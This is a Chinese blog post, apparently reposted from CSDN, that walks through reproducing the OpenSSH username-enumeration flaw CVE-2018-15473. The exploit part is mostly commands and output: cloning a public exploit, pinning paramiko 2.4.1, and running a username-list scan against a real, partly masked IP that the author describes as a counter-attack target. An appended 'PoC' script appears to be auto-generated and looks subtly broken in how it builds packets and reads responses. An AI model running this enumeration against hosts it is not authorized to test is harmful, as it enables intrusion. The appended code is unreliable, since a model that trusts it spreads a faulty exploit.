CVE-2018-15473 ssh用户名枚举漏洞复现

本文详细介绍了CVE-2018-15473漏洞的复现过程,包括使用Python脚本、依赖库升级、错误修复,以及如何通过测试验证漏洞利用。重点在于解决步骤和2.4.1版paramiko库的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

转载https://blog.csdn.net/gh0stf1re/article/details/108641707

CVE-2018-15473 ssh用户名枚举漏洞复现

前言

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

复现过程

克隆poc脚本到本地

git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git

(注意:该脚本使用python3编写)
安装依赖库:

pip3 install -r requirements.txt

运行脚本

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
Traceback (most recent call last):
  File "sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object is not subscriptable

可以看到,发生了报错。
参照 https://www.freebuf.com/vuls/193988.html ,到paramiko库下的auth_handler.py下的AUTH_handler,将 _handler_table改为_client_handler_table。然而,这边文章并没有说清楚具体更改哪些位置。修改后,依然没有运行成功。

解决方法:下载2.4.1版本的paramiko库

oot@kali:~/Desktop/CVE-2018-15473-Exploit# pip3 install paramiko==2.4.1
Collecting paramiko==2.4.1
  Downloading paramiko-2.4.1-py2.py3-none-any.whl (194 kB)
     |████████████████████████████████| 194 kB 17 kB/s 
Requirement already satisfied: pyasn1>=0.1.7 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (0.4.8)
Requirement already satisfied: pynacl>=1.0.1 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (1.4.0)
Requirement already satisfied: bcrypt>=3.1.3 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (3.1.7)
Requirement already satisfied: cryptography>=1.5 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (2.8)
Installing collected packages: paramiko
  Attempting uninstall: paramiko
    Found existing installation: paramiko 2.6.0
    Uninstalling paramiko-2.6.0:
      Successfully uninstalled paramiko-2.6.0
Successfully installed paramiko-2.4.1

之后再次运行脚本,运行成功

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
usage: sshUsernameEnumExploit.py [-h] [--port PORT] [--threads THREADS]
                                 [--outputFile OUTPUTFILE]
                                 [--outputFormat {list,json,csv}]
                                 (--username USERNAME | --userList USERLIST)
                                 hostname
sshUsernameEnumExploit.py: error: the following arguments are required: hostname

用某溯源反制ip,测试一下

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py --port 22 --userList sshUsername.txt  --outputFile test.csv --outputFormat csv 118.x.x.x

结果如下
在这里插入图片描述
参考链接:
https://github.com/Rhynorater/CVE-2018-15473-Exploit
https://www.anquanke.com/post/id/157607
https://www.cnblogs.com/jiecoll/p/13601653.html
https://www.freebuf.com/vuls/193988.html

### CVE-2018-15473 漏洞复现 #### 环境准备 为了成功复现CVE-2018-15473漏洞,需先搭建相应的实验环境。此过程涉及安装特定版本的OpenSSH服务端软件以及配置必要的网络参数。 对于该漏洞的影响范围涵盖了多个版本的OpenSSH,在某些情况下可能还包括其他依赖组件。具体受影响的版本列表可以在官方公告中找到[^3]。 #### 实验步骤概述 在完成上述准备工作之后,可以通过向目标主机发送特制的身份验证请求来触发漏洞行为: 当攻击者尝试利用这个漏洞时,会构造并发送一个不完整的`userauth_pubkey`消息给SSH服务器。根据服务器响应的不同,可以推断出所试探的用户名是否存在。如果收到的是`SSH2_MSG_USERAUTH_FAILURE`消息,则表示该用户不存在;反之,若连接被突然终止,则意味着存在这样的账户。 #### POC (Proof of Concept) 编写 下面是一个简单的Python脚本用于检测潜在的有效用户名: ```python import socket from paramiko import message, packet def check_user(target_ip, port=22, username='test'): try: sock = socket.socket() sock.connect((target_ip, int(port))) m = message.Message() p = packet.Packet(m) payload = ( b'\x00\x00\x00\x0f' + b'ssh-userauth' + b'\x00\x00\x00\x0b' + bytes(username.encode()) + b'\x00\x00\x00\x0c' + b'ssh-connection' ) p.add_string(payload) data = p.get_payload() sock.send(data) response = sock.recv(1024).strip() if not response or len(response)<6 : print(f"[+] Possible valid user found: {username}") else: print("[!] User does NOT exist") sock.close() except Exception as e: print(e) if __name__ == '__main__': target_ip = '192.168.1.100' # Replace with your test machine IP address usernames_to_test = ['admin', 'root'] # List of potential users to enumerate for u in usernames_to_test: check_user(target_ip=target_ip, username=u) ``` 请注意,以上代码仅为学习目的编写,并不应应用于任何未经授权的系统上进行测试或攻击活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0hnson666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值